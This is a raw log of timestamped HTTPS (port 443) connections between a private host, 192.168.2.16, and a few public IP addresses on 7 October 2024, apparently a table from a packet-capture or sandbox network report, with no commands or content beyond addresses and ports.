Oct 7, 2024 20:59:30.048084974 CEST	49793	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:30.048135996 CEST	49793	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:30.048456907 CEST	443	49793	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:30.048497915 CEST	49797	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:30.048540115 CEST	49793	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:30.048553944 CEST	443	49797	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:30.048644066 CEST	49797	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:30.051744938 CEST	49797	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:30.051822901 CEST	443	49797	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:30.457350969 CEST	443	49795	188.114.96.3	192.168.2.16
Oct 7, 2024 20:59:30.461380959 CEST	49795	443	192.168.2.16	188.114.96.3
Oct 7, 2024 20:59:30.461445093 CEST	443	49795	188.114.96.3	192.168.2.16
Oct 7, 2024 20:59:30.461927891 CEST	443	49795	188.114.96.3	192.168.2.16
Oct 7, 2024 20:59:30.462412119 CEST	49795	443	192.168.2.16	188.114.96.3
Oct 7, 2024 20:59:30.462655067 CEST	443	49795	188.114.96.3	192.168.2.16
Oct 7, 2024 20:59:30.463074923 CEST	49795	443	192.168.2.16	188.114.96.3
Oct 7, 2024 20:59:30.479182959 CEST	443	49796	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:30.479718924 CEST	49796	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:30.479779005 CEST	443	49796	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:30.483746052 CEST	443	49796	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:30.483859062 CEST	49796	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:30.484292984 CEST	49796	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:30.484473944 CEST	49796	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:30.484487057 CEST	443	49796	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:30.484734058 CEST	443	49796	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:30.503417015 CEST	443	49795	188.114.96.3	192.168.2.16
Oct 7, 2024 20:59:30.506043911 CEST	443	49797	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:30.506337881 CEST	49797	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:30.506367922 CEST	443	49797	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:30.507997036 CEST	443	49797	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:30.508109093 CEST	49797	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:30.508518934 CEST	49797	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:30.508604050 CEST	443	49797	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:30.508744001 CEST	49797	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:30.508753061 CEST	443	49797	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:30.538129091 CEST	49796	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:30.538187981 CEST	443	49796	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:30.554368019 CEST	49797	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:30.586369991 CEST	49796	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:30.763808012 CEST	443	49796	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:30.763968945 CEST	443	49796	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:30.764120102 CEST	49796	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:30.764987946 CEST	49796	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:30.765028954 CEST	443	49796	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:30.766696930 CEST	443	49795	188.114.96.3	192.168.2.16
Oct 7, 2024 20:59:30.766995907 CEST	443	49795	188.114.96.3	192.168.2.16
Oct 7, 2024 20:59:30.767137051 CEST	49795	443	192.168.2.16	188.114.96.3
Oct 7, 2024 20:59:30.767894983 CEST	49795	443	192.168.2.16	188.114.96.3
Oct 7, 2024 20:59:30.767908096 CEST	443	49795	188.114.96.3	192.168.2.16
Oct 7, 2024 20:59:30.793601036 CEST	49798	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:30.793687105 CEST	443	49798	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:30.793801069 CEST	49798	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:30.794915915 CEST	49799	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:30.794970989 CEST	443	49799	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:30.795083046 CEST	49799	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:30.795777082 CEST	49798	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:30.795814991 CEST	443	49798	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:30.796021938 CEST	49799	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:30.796058893 CEST	443	49799	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:30.797259092 CEST	49800	443	192.168.2.16	188.114.97.3
Oct 7, 2024 20:59:30.797300100 CEST	443	49800	188.114.97.3	192.168.2.16
Oct 7, 2024 20:59:30.797380924 CEST	49800	443	192.168.2.16	188.114.97.3
Oct 7, 2024 20:59:30.797709942 CEST	49800	443	192.168.2.16	188.114.97.3
Oct 7, 2024 20:59:30.797729015 CEST	443	49800	188.114.97.3	192.168.2.16
Oct 7, 2024 20:59:30.863269091 CEST	443	49797	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:30.863466978 CEST	443	49797	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:30.863615990 CEST	49797	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:30.864136934 CEST	49797	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:30.864175081 CEST	443	49797	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:30.868928909 CEST	49801	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:30.868968964 CEST	443	49801	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:30.869139910 CEST	49801	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:30.869494915 CEST	49801	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:30.869524956 CEST	443	49801	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:31.250838995 CEST	443	49798	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:31.251293898 CEST	49798	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:31.251326084 CEST	443	49798	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:31.254173994 CEST	443	49799	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:31.254481077 CEST	49799	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:31.254544020 CEST	443	49799	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:31.254772902 CEST	443	49798	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:31.254868984 CEST	49798	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:31.255094051 CEST	443	49799	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:31.255975962 CEST	49798	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:31.256011009 CEST	49798	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:31.256053925 CEST	49798	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:31.256073952 CEST	443	49798	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:31.256154060 CEST	49798	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:31.256625891 CEST	49802	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:31.256717920 CEST	443	49802	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:31.256835938 CEST	49802	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:31.256964922 CEST	49799	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:31.257080078 CEST	443	49799	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:31.257299900 CEST	49802	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:31.257342100 CEST	443	49802	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:31.257500887 CEST	49799	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:31.259612083 CEST	443	49800	188.114.97.3	192.168.2.16
Oct 7, 2024 20:59:31.259958029 CEST	49800	443	192.168.2.16	188.114.97.3
Oct 7, 2024 20:59:31.259975910 CEST	443	49800	188.114.97.3	192.168.2.16
Oct 7, 2024 20:59:31.263525009 CEST	443	49800	188.114.97.3	192.168.2.16
Oct 7, 2024 20:59:31.263717890 CEST	49800	443	192.168.2.16	188.114.97.3
Oct 7, 2024 20:59:31.264127970 CEST	49800	443	192.168.2.16	188.114.97.3
Oct 7, 2024 20:59:31.264163971 CEST	49800	443	192.168.2.16	188.114.97.3
Oct 7, 2024 20:59:31.264190912 CEST	49800	443	192.168.2.16	188.114.97.3
Oct 7, 2024 20:59:31.264317989 CEST	443	49800	188.114.97.3	192.168.2.16
Oct 7, 2024 20:59:31.264396906 CEST	49800	443	192.168.2.16	188.114.97.3
Oct 7, 2024 20:59:31.264477968 CEST	49803	443	192.168.2.16	188.114.97.3
Oct 7, 2024 20:59:31.264502048 CEST	443	49803	188.114.97.3	192.168.2.16
Oct 7, 2024 20:59:31.264580965 CEST	49803	443	192.168.2.16	188.114.97.3
Oct 7, 2024 20:59:31.264832973 CEST	49803	443	192.168.2.16	188.114.97.3
Oct 7, 2024 20:59:31.264861107 CEST	443	49803	188.114.97.3	192.168.2.16
Oct 7, 2024 20:59:31.299478054 CEST	443	49799	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:31.571157932 CEST	443	49801	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:31.571635962 CEST	49801	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:31.571671009 CEST	443	49801	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:31.573151112 CEST	443	49801	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:31.573569059 CEST	49801	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:31.573712111 CEST	49801	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:31.574014902 CEST	443	49801	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:31.623333931 CEST	49801	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:31.649413109 CEST	443	49799	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:31.649549961 CEST	443	49799	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:31.649822950 CEST	49799	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:31.650171041 CEST	49799	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:31.650222063 CEST	443	49799	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:31.650252104 CEST	49799	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:31.650299072 CEST	49799	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:31.653723001 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:31.653815985 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:31.654095888 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:31.654242992 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:31.654277086 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:31.703495979 CEST	443	49802	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:31.703928947 CEST	49802	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:31.703993082 CEST	443	49802	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:31.704868078 CEST	443	49802	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:31.705286026 CEST	49802	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:31.705447912 CEST	49802	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:31.705461979 CEST	443	49802	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:31.705537081 CEST	443	49802	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:31.713345051 CEST	443	49803	188.114.97.3	192.168.2.16
Oct 7, 2024 20:59:31.713597059 CEST	49803	443	192.168.2.16	188.114.97.3
Oct 7, 2024 20:59:31.713613033 CEST	443	49803	188.114.97.3	192.168.2.16
Oct 7, 2024 20:59:31.714901924 CEST	443	49803	188.114.97.3	192.168.2.16
Oct 7, 2024 20:59:31.715507984 CEST	49803	443	192.168.2.16	188.114.97.3
Oct 7, 2024 20:59:31.715507984 CEST	49803	443	192.168.2.16	188.114.97.3
Oct 7, 2024 20:59:31.715717077 CEST	443	49803	188.114.97.3	192.168.2.16
Oct 7, 2024 20:59:31.751377106 CEST	49802	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:31.767254114 CEST	49803	443	192.168.2.16	188.114.97.3
Oct 7, 2024 20:59:31.850207090 CEST	443	49801	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:31.850379944 CEST	443	49801	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:31.850488901 CEST	49801	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:31.850964069 CEST	49801	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:31.851013899 CEST	443	49801	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:31.851042032 CEST	49801	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:31.851114988 CEST	49801	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:31.947679043 CEST	443	49803	188.114.97.3	192.168.2.16
Oct 7, 2024 20:59:31.948018074 CEST	443	49803	188.114.97.3	192.168.2.16
Oct 7, 2024 20:59:31.948128939 CEST	49803	443	192.168.2.16	188.114.97.3
Oct 7, 2024 20:59:31.948875904 CEST	49803	443	192.168.2.16	188.114.97.3
Oct 7, 2024 20:59:31.948905945 CEST	443	49803	188.114.97.3	192.168.2.16
Oct 7, 2024 20:59:32.284358025 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.286809921 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.286871910 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.287446976 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.287951946 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.288042068 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.288328886 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.331443071 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.638823032 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.638958931 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.639048100 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.639050961 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.639081001 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.639132977 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.639168024 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.639308929 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.639364004 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.639374971 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.641321898 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.641415119 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.641503096 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.641850948 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.641885996 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.644344091 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.644418955 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.644427061 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.650192022 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.650288105 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.650295019 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.654059887 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.654139996 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.654146910 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.694123030 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.721033096 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.725310087 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.725347042 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.725402117 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.725411892 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.725461960 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.729463100 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.735317945 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.735414028 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.735416889 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.735443115 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.735500097 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.741386890 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.747281075 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.747353077 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.747354031 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.747378111 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.747435093 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.753381014 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.758905888 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.758980036 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.758994102 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.759052038 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.759114027 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.764358044 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.769819975 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.769891977 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.769896030 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.769913912 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.769967079 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.775311947 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.780894995 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.780981064 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.780991077 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.812021017 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.812084913 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.812108994 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.812119007 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.812167883 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.812175035 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.812314034 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.812356949 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.812377930 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.812385082 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.812436104 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.812441111 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.812454939 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.812501907 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.813146114 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.816111088 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.816191912 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.816199064 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.821793079 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.821880102 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.821887970 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.826643944 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.826771021 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.826785088 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.831620932 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.831702948 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.831712008 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.836869001 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.836949110 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.836957932 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.842549086 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.842629910 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.842638969 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.847543955 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.847626925 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.847640991 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.851943016 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.852015018 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.852027893 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.856703997 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.856775999 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.856789112 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.861244917 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.861342907 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.861357927 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.865673065 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.865763903 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.865777969 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.869971037 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.870054960 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.870070934 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.877878904 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.877971888 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.878002882 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.878689051 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.878757954 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.878774881 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.881947041 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.882030010 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.882051945 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.885997057 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.886101007 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.886115074 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.888969898 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.889048100 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.889060974 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.892766953 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.892842054 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.892854929 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.895174026 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.895248890 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.895262003 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.898809910 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.898885012 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.898899078 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.899239063 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.899306059 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.899317980 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.901618004 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.901689053 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.901701927 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.903628111 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.903697968 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.903701067 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.903716087 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.903767109 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.905720949 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.908232927 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.908282042 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.908309937 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.908322096 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.908376932 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.909996986 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.912476063 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.912522078 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.912547112 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.912559032 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.912612915 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.914881945 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.916745901 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.916811943 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.916824102 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.918904066 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.918936014 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.918979883 CEST	49804	443	192.168.2.16	142.250.186.36
